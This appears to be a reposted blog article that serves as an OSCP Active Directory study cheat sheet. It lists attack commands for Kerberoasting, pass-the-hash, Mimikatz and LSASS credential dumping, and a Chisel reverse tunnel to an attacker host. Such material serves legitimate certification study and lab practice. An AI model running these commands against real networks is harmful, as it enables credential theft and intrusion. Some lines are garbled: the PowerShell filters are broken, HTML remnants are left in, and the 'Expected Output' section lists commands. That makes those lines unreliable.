OffSec OSCP Exam with AD Preparation

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The Offensive Security Certified Professional (OSCP) exam is a hands-on certification that tests your ability to identify and exploit vulnerabilities in systems, including Active Directory (AD) environments. Proper preparation is key to passing this challenging exam. Below is a detailed guide with practical commands, techniques, and steps to help you succeed.

You Should Know:

1. Setting Up Your Lab

  • Use Kali Linux as your primary penetration testing platform.
  • Set up an AD lab using Windows Server 2019/2022 and Windows 10/11 clients.
  • Virtualization tools:
    sudo apt install virtualbox -y 
    sudo apt install qemu-kvm libvirt-daemon -y 
    

2. Essential Enumeration Commands

  • Nmap for Network Scanning:
    nmap -sV -sC -p- -T4 <target_IP> 
    
  • AD Enumeration with BloodHound:
    neo4j start 
    bloodhound 
    
  • PowerShell AD Recon:
    Get-ADUser -Filter  -Properties<br />
    Get-ADGroup -Filter<br />
    

3. Exploitation Techniques

  • Kerberoasting with Impacket:
    python3 GetUserSPNs.py <domain>/<user>:<password> -dc-ip <DC_IP> -request 
    
  • Pass-the-Hash Attack:
    crackmapexec smb <target_IP> -u <user> -H <NTLM_hash> 
    
  • Mimikatz for Credential Dumping:
    sekurlsa::logonpasswords 
    

4. Privilege Escalation

  • Linux:
    sudo -l 
    find / -perm -u=s -type f 2>/dev/null 
    
  • Windows:
    whoami /priv 
    Get-ModifiablePath 
    

5. Post-Exploitation & Lateral Movement

  • Pivoting with Chisel:
    ./chisel server -p 8080 --reverse 
    ./chisel client <attacker_IP>:8080 R:socks 
    
  • Dumping LSASS for Credentials:
    procdump.exe -ma lsass.exe lsass.dmp 
    

6. Practice Machines & Resources

  • TryHackMe (AD Learning Path)
  • HackTheBox (Active Directory Machines)
  • OffSec’s PEN-200 Course Labs

What Undercode Say:

Mastering OSCP requires hands-on practice in AD environments. Focus on enumeration, exploitation, and lateral movement. Use tools like Impacket, BloodHound, and Mimikatz effectively. Practice on platforms like HTB, TryHackMe, and VulnHub to refine your skills.

Prediction:

As AD-based attacks grow, OSCP will likely include more complex AD scenarios in future exams. Focus on Kerberos attacks, certificate-based exploitation, and Azure AD integrations for upcoming trends.

Expected Output:

nmap -sV -sC -p- 10.10.10.10 
crackmapexec smb 10.10.10.10 -u admin -H aad3b435b51404eeaad3b435b51404ee 

References:

Reported By: Dharamveer Prasad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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